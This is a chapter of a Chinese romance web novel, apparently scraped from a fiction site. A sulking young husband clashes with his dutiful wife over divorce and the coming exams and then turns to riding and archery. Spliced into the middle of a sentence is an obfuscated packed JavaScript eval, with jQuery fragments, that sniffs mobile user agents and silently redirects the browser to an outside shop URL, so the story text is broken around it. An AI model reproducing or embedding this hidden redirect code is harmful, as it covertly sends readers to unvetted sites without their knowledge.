一道轻俊身影从屋中闪出,抱臂横拦在她身前。
“当初不是你非要嫁进门的吗?现在就这么迫不及待,一刻都等不下去了?沈娘子兔死狗烹的手段用得真好!”
他虽然年纪轻些,但站在面前还是比她高出大半个头,沈琬被他这汹汹气势笼罩住,温柔抬眸的目光里,带上几分茫然疑惑。
陆辞气得眼圈都发红:“我这双腿可是为了娶你而受伤,按我们之前的约定,没有好全之前,你别想离开卫国公府来逃避照料之责!”
沈琬顺着他的话,目光转动,长睫微扇,多往他身上打量了一二。
不说先前他从主院跑回来,青云在背后追了一路都没追上。
就是方才,他从身后书房里冲出,三两步迈下台阶横拦在前,迅捷程度也不知胜过多少腿脚康健的人。
察觉到对方眼神中的质疑,陆辞干脆脖子一梗,更加理直气壮:“本来就是伤筋动骨一百天!现在我这双腿表面上看好像没有问题,那也只是表面好了,内里根本还没恢复的地方,也是常人看不出来的!”
“反正我说没好就没好!”
说到最后,他双手往胸前一抱,脑袋一歪,一副你奈我何的模样继续挡在前面。
沈琬无奈:“你我先前有约,我自会妥帖照料,直至官人好全。”
得到一个肯定的答复,陆辞心绪稍微平缓了几分:“那你又急不可耐要搬回沈家。”
从他这一连串的发作里,沈琬总算揣测出,他大概以为她现在是要和离归家?
知他本就为此事在气头上,她也不恼,温声解释道:“我只是想回沈家看望一下双亲。”
“……这样啊?”
沈琬还多耐心解释了一句:“我上一次见到双亲,还是回门那日。”
她抬起眸子,目光里温柔又坦荡。
陆辞可以清楚地看到自己的身影正溶溶在那双澄澈清凌的眸子里,两人之间好像隔得太近了些,空气里一点若有似无的淡香氤氲在鼻尖。
他觉得自己看起来好像有点凶神恶煞。
不过他都能想象出来,就算只是回家探望一下父母,官家大赦,他们一家人相聚,围坐一起,商量着如何与他和离的事。
就像当初他们怎么商量嫁进来避祸一样。
这不还是过河拆桥吗?
他总是那个一无所知的局外人。
“那也不行。”
沈琬没想到他连回去看望父母都要阻拦,实在不解,但又看他不似先前那样剑拔弩张,反而退了两步,微垂着眸子欲言又止的模样,便静静等他的下文。
“本来呢,现在的一切也跟你沈家父母都脱不了干系,那我今日又因此跟家里发生那么大的冲突,不管怎么样,你都不应该在此时此刻回去探望父母,你这不是……不出十天我就要科考了,反正你们不在乎,都非要在这节骨眼给我不痛快。”
陆辞说得瓮声瓮气的,最后手一摊,颇有种破罐子破摔的委屈。
仿佛刚才那个信誓旦旦放言绝不参加科考的人不是他。
被他这么一说,沈琬也自觉不妥,官家的赦免促使着她一心归家,似乎确实是忽视了眼前人的感受。
毕竟他是那个最无辜卷进来的人。
看他低头敛眉抿唇模样,她心中不由得多生出几分不忍:“那好。”
“当真?”
陆辞抬起头,一双眼睛黑亮黑亮的。
沈琬“嗯”了一声:“那我让春月带些物什送回沈家?”
她竟然还在好言跟他商量吗?
陆辞的嘴角不由得弯了又弯,想到自己刚才莽莽撞撞冲出来的态度,他又绷紧了唇。
“那反正先说好了,我腿伤彻底好之前,心情完全平复之前,你不能轻举妄动!”
“好。”
“不准擅自先回沈府!”
“好。”
陆辞再没话可说,但既然今天提到了和离的事,那可不是她不回沈府就能让人消气的。
他总要让他们所有人知道,他可不是任人随便摆弄的!
“行,那我现在还在生气,你们继续谁也不要来打扰我!”
硬气扔下一句话,他又重新哼哧着进了书房,门窗紧闭着拒人于千里之外。
直到日色转暮,檐下挂上盏盏宫灯,书房的门紧闭着,期间当真无人再来打扰过他。
都已经过了平时晚膳的时候,竟然也真的没有一个人来过,哪怕问一句他饿不饿。
折腾了这么一天,他现在连一粒米都没进,清茶倒是不知不觉快喝完一壶,把人洗涤得更加饥肠辘辘了。
笑话,他还能在自己府上被活活饿死不成?
书房的门被轻轻拉开一条缝隙,又拉开一点,一道轻俊的身影猫着腰儿从里钻出。
廊下明灯最先察觉,在轻暖的夜风里微微摇曳。
值守的小厮都开始打起盹来,也没人想起他还没有用晚膳。
许是太饿,他眼前有点发昏,信步间,不知不觉就看到了饭厅前的门槛和台阶。
他一下醒悟过来,饿了他一整天,这会儿还得他亲自上门讨食不成?今日院子里这些当差的,有一个算一个,他都要换掉!
“公子。”
正拂袖要走,屋内出来一个小丫鬟,低着头还有些声怯:“今日厨房里都备着公子素来爱吃的菜肴,公子课业繁重,不敢多加叨扰,一直在炉子上温着。”
本来已经转身的陆辞生生顿住脚步。
这番话怎么听得又舒服又别扭的?
不过有了台阶他赶紧就下,一进门就看到桌上琳琅摆满了碗碟,上头还都盖了瓷盖。
他原以为那些菜肴都是蒸在锅里热着,没想到是每一只瓷碗都被架在一只小烛台上,微弱的烛火在碗底簇簇跳跃。
没有把食物放到锅里一直蒸煮以至失了色味,待盖碗打开,依旧鲜香扑鼻,且温热正好。
确实妙思。
每一道都是他极爱的口味。
正要伸筷大快朵颐,小丫鬟却先快一步,盛了一碗米粥摆上,依旧垂眸敛目:“公子大半天没有进食,骤然一下不宜太荤腻,先喝半碗清粥暖暖胃吧。”
陆辞侧目打量一眼身边着小丫鬟,想起来是新进院子不久的采星:“这些都是娘子吩咐的吗?”
采星如实答他:“这些都是娘子安排的。”
“先头你在门口说的话,也是娘子教你的?”
采星不知道哪里有问题,小心觑了一眼他的脸色:“娘子让我这样说,公子就不会发怒……”
陆辞不由得撇了撇嘴,发怒?
他是什么喜怒无常的人吗?
他撇撇嘴,低头抿了一口清粥,米粥洒了一层细细蔬叶,又裹了切得碎碎的肉糜,煮得软糯清香,入口绵密。
罢了,那他就暂且不计较了。
半碗清粥下肚,被封了一天的胃口才算彻底打开,风卷残云都吃干净后,再用青柠叶泡的水漱过口,居然生出一种今夕何夕似此良辰的满足感。
他心满意足出了饭厅,又在月下缓缓踱步,徘徊到房门口时,刚才那份满足立刻被他抛到九霄云外。
替他准备餐食佳肴,本就是分内的事,就因为这个,他就要给她好脸色了吗?
他可不是这么好欺负的。
等会进了房间,她必定向往常一样,温声细语与他招呼,再点了兰香,为他床头点一盏看书灯,最后都收拾妥帖了,才垂了帷幔去入睡。
至少今晚她向他颔首招呼的时候,他必然要严肃冷脸一些。
等她到了榻边替他点灯时,如果她再提醒让他早些歇息别熬坏眼睛,那时候他倒是可以勉强应她一句了。
打定了主意,陆辞才昂首阔步推门走了进去。
屋内淡淡兰香,氤氲扑鼻。
美人榻边,一盏明灯新点,笼罩着温柔的光。
触手可碰的小几上,还是他这几日正在翻阅的书册。
灯下唯独没有佳人娴静等待的侧影。
帘幕重重,看不到另一边的景象。
陆辞的肩背几乎是一瞬间就垮了下来,一口气从胸腔里重重地“哼”了出来。
可惜那层层帘幕太厚重了,连动都没有动一下。
她居然就睡下了!?
人怎么能心安理得成这样呢!?
好像有什么东西轰然一下在身体里炸开,化成千万只到处乱窜的小蚂蚁,在他身体的每一寸肌肤筋骨,嗜血啃肉。
有一瞬间,他真想一把将眼前重重帘幕都扯开,然后再狠狠对她进行一番厉声质问。
不过他到底也是读书知礼的人,这种粗鲁行径他也做不出来。
好笑,他在自己的房间,不说话还睡不着了不成?
他脚下踩出重重的声音,俯身“呼”地一下吹灭榻前那盏明灯,才气鼓鼓自顾自翻身上榻歇息去了。
长夜迟迟,寂寂沉夜里,偶尔漏出一两声竹榻吱呀的响动。
直到晓光初透碧窗纱。
沈琬与往常一样,都是在寅时末准时起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886309|212548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,今日她掀帘出来,榻上总还在酣睡迟起的那个人已经不见了身影。
小几上摆着的几本书册,昨晚一页都没有翻动过。
知他不喜,昨晚她特意避着,尽量不出现在他视线里,免得多惹他烦闷。
昨晚在房中那些故意为之的响动,听得出他还在气头,今早又迫不及待离开,看来依然是心烦不想见人。
她又出门问了几句,得知他连早膳未用就离府了,身边只跟了青云,谁也不知道人去了哪儿。
想着他实在是有些阴晴不定,虽然现在避着她,但她也不好妄动。
她只好又坐在轩窗下,一个人静静地解着始终未曾解开的棋局,消磨时光。
一如过去的这三年。
一上午就这样清清静静地过去,到了午膳的时候,陆辞也没有回来。
直到歇过了晌午,又整整一个午后过去,沈琬起身准备让厨房再温一份晚膳时,院门口传来飒沓脚步。
一道颀长高瘦的身影迈步进来。
沈琬抬眸望去,沉静如水的眸子里,似有惊鸿翩飞,在平静水面轻点一下。
他没有穿书生样式青色或白色的襕衫,而是一件靛蓝色的窄袖劲袍,外罩了一件比甲,腕间和腰上都被系紧,衬得身姿劲瘦如竹,明俊逼人。
平日束起的发髻被放下来扎成马尾,随着他的步伐而轻快摇曳。
像是料峭肆意的春风,一定要吹开冬日累积的三尺寒冰。
两人目光俶尔对上,沈琬忙敛眸,下意识前去相迎,陆辞的视线比她别开得更快,坚定如炬盯着前方,仿佛没看到身边的人,就这样跨步径直掠了过去。
沈琬回头去看,只留下一道被汗水微微透湿的背影。
直到那背影一声不吭合上房门将自己隔绝在内,她才唤了采星来吩咐:“去浴房里备上温水吧。”
接下来的好几日,蒹葭院都陷入一种无言的尴尬里。
陆辞真的不再进书房,也不在榻前的灯下看书,每日就是领着青云直奔校场,一整日都耽于骑射之中,直到傍晚才会汗涔涔地回来。
弃文从军的决心很坚定。
两人仅有的交集也就是夜里同处一室。
沈琬热水替他备着,晚膳给他温着,点灯熏香依然一丝不苟,未免再多惹他不痛快,她总能在他回房之前,恰到好处打点妥帖,放下帷幔,彻底隔绝两人的碰面。
隔着帷幔,她察觉到他一进房门就呼呼把灯火都吹灭。
再等晨间,总在她起身之前,榻上早就空空如也。
同在一屋檐下,抬头低头都不用相见。
沈琬倒是照常度日,不管怎么样,这桩婚事确实完成了它的使命。
无论是新婚夜的约定,还是卫国公夫妇的态度,亦或是两人强扭在一起并不算愉悦的相处,和离都是板上钉钉的事情,只不过陆辞情绪上还在拗着,大概也不完全是因为婚事的原因。
先等过了春闱吧。
何况他也只是个半大的孩子,她总不至于去计较什么,这名义上的婚事还存在一日,她便继续在名义上做好贤妻的分内。
这天,沈琬收拾了小半天的东西。
遮阳避雨的伞具,生津解饿的水果点心,甚至路上可能弄脏的鞋袜她都备了两套,待整理完毕,她又最后在房间里仔细清点一遍,避免遗漏。
以至于院子里进来一连串急促的脚步声她都没注意到。
“不是说好了,在我心情变好前,你不准回沈家吗?”
她循声回过头,少年已经单手撑在门框边,门外的夕阳余晖打在他身上,执拗地立在那儿,像是不让自己进来,也拦着不许她出去。
这是好几日来他第一次跟她说话,她一时茫然:“我没有要回沈家。”
陆辞撑在门边的手僵了僵,胸口还在一起一伏微喘着:“那你收拾这些东西做什么?”
沈琬顺着他的话,才意识到原来自己收拾的都是要出行的物什,引得他误会了,便解释道:“明天是二月二,婆母说要去兴龙寺上香,所以准备充足一些。”
“噢……跟我母亲去上香啊……”
陆辞恍然想起,潘梁这几日也在邀他,说什么正德书院的学子二月二的时候集体去兴龙寺上香祈福,以求春闱金榜题名。
无聊,金榜题名靠求神拜佛?
沈琬看他微垂的眸子里一片沉思,轻声提醒:“只有十天就要春闱了,婆母说要去为官人许个功名。”
“我连春闱都不会去,你们还是别白费心思了!”